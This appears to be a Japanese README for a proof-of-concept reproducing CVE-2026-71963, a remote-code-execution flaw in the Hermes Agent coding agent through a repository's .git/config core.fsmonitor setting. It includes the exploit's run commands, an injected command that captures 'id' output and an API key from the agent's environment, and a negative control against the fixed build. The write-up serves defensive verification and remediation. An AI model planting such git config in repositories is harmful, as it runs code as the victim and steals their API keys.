
CVE-2026-71963 - Hermes Agent 0.18.2-0.21.0 におけるリポジトリ経由で配信される .git/config (core.fsmonitor) を介した RCE。標準ライブラリのみを使用した Python で、実際の 0.21.0 上で検証済みであり、修正済みビルドに対するクリーンなネガティブコントロールも実施済み。
.git/config を介した Hermes Agent の RCE影響を受けるバージョン: Hermes Agent 0.18.2 – 0.21.0
修正済み: コミット f6234d0 (fix(security): close GitSpawn RCE class、GHSA-7x36-8jrh-v4pw)、0.21.0 以降で最初にリリース
分類: CWE-78 OS コマンドインジェクション → RCE、ユーザーにプロンプトは表示されない
アドバイザリ: https://www.vulncheck.com/advisories/hermes-agent-rce-via-git-core-fsmonitor-config-injection
Hermes はシステムプロンプトを組み立てる際に コーディングワークスペースのスナップショット を構築します。
プロンプト、ツール呼び出し、承認、信頼ゲートのいずれよりも前に、セッションが存在するディレクトリに対して
git -C <セッションの作業ディレクトリ> status --porcelain=2 --branch(さらに
rev-parse、log)を実行します。
0.21.0 まで(0.21.0 を含む)は、これらのプローブがリポジトリ自身の設定を除去せずに起動されていたため、 実行シンクを指定するあらゆる git 設定キーが有効になります:
[core]
fsmonitor = "<attacker command>"
インデックスのリフレッシュ(git status)は、エージェントを実行しているユーザーとして、エージェントの完全な環境(設定済みのプロバイダーAPIキーを含む)でそのコマンドを実行します。同じ分類には core.hooksPath(例:post-index-change フック)、pager、editor、および .gitattributes でスコープされた diff/textconv ドライバーも含まれます。
git clone は .git/config を決して転送しないため、配布ベクターはファイルとして受け渡されるリポジトリです:zip、同期フォルダ、USBメモリ、展開済みアーカイブなどです。画面上には何も表示されません。
前提条件: エージェントの作業ディレクトリが悪意のあるリポジトリである必要があります(スナップショットはそのディレクトリを検査します)。このビルドでは、それがセッションの設定済み作業ディレクトリです — config.yaml の terminal.cwd または TERMINAL_CWD 環境変数であり、このPoCは両方を設定します。cwdが設定されていない場合、ワンショットCLIはワークスペースを $HOME に解決し、その場合プローブはリポジトリに一切触れません。
# 1) create the malicious repository (no network, no dependencies)
python3 poc.py build --dir /tmp/cve-2026-71963/repo
# 2) run the real agent against it and assert execution
python3 poc.py exploit \
--dir /tmp/cve-2026-71963/repo \
--hermes /path/to/vulnerable/hermes \
--hermes-py /path/to/python
# 3) same run against a fixed build: nothing must execute
python3 poc.py control --dir /tmp/cve-2026-71963/repo \
--hermes /path/to/fixed/hermes --hermes-py /path/to/python
PoC はスクラッチの HERMES_HOME(作業ディレクトリはリポジトリに固定、モデルプロバイダーは組み込みの OpenAI 互換モックを指定)を書き込むため、エージェントの 1 ターン全体が API コストゼロ で実行されます。注入されたコマンドは id とセンチネル環境変数(デフォルトでは DEMO_API_KEY)の値を証拠ファイルに書き込み、アサーションはこれをチェックします。
脆弱なビルド: 0.21.0(修正の親であるコミット 413b6ba3dd のデタッチされたワークツリー)、修正済みビルド: 0.21.2(main)。どちらの実行も同じリポジトリと同じスクラッチホームのレイアウトを使用しました。
$ python3 poc.py exploit --hermes <0.21.0>/hermes --hermes-py <venv>/python
[*] malicious repo ready: /tmp/cve-2026-71963/repo
[*] injected command : id > .../evidence.txt 2>&1; echo AGENT_ENV_KEY:$DEMO_API_KEY >> .../evidence.txt
[*] running: <venv>/python <0.21.0>/hermes -z hello
[*] HERMES_HOME=/tmp/cve-2026-71963/home-vuln working dir=/tmp/cve-2026-71963/repo
[*] agent exited rc=0 output='ok'
[*] evidence captured:
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),20(dialout),24(cdrom),... (account name scrubbed)
AGENT_ENV_KEY:DEMO-QRXAPQFB
=> PASS (command executed as the agent's user and read the agent's environment - sentinel DEMO-QRXAPQFB recovered)
$ python3 poc.py control --hermes <0.21.2>/hermes --hermes-py <venv>/python
[*] agent exited rc=0 output='ok'
=> PASS (negative control: probes ran, nothing executed)
プローブは両方のビルドで実行されることが示されています。修正済みビルドで git 呼び出しを計測すると、2 番目のプローブが無効である理由がわかります:
CWD=<repo> ARGS=-C <repo> status --porcelain=2 --branch GITCFG_COUNT=10 K0=credential.helper V0= GLOBAL=/dev/null SYSTEM=/dev/null
CWD=<repo> ARGS=-C <repo> rev-parse --git-dir GITCFG_COUNT=10 ... GLOBAL=/dev/null SYSTEM=/dev/null
つまり bounded_git_probe は noninteractive_git_env() の下で git を起動し、GIT_CONFIG_KEY_*/GIT_CONFIG_VALUE_* を介して core.fsmonitor=false(およびフック/ページャー/エディタ/認証情報ヘルパー)を固定し、GIT_CONFIG_GLOBAL / GIT_CONFIG_SYSTEM を /dev/null に設定します。diff レンダリングプローブはさらに --no-ext-diff --no-textconv を渡します。
git clone https://github.com/NousResearch/hermes-agent
cd hermes-agent
git worktree add --detach ../hermes-0.21.0 413b6ba3dd # vulnerable (0.21.0)
python -m venv venv && ./venv/bin/pip install -e . # deps are compatible with main
../hermes-0.21.0/hermes --version
f6234d0 を含む任意のビルド)にアップグレードする。.git/config の fsmonitor、hooksPath、pager、editor、credential.helper、および [diff "*"] の command/textconv エントリを確認する。公開されたベンダー修正を伴う公開 CVE;このリポジトリは、防御側および修正境界の検証のための独立した再現である。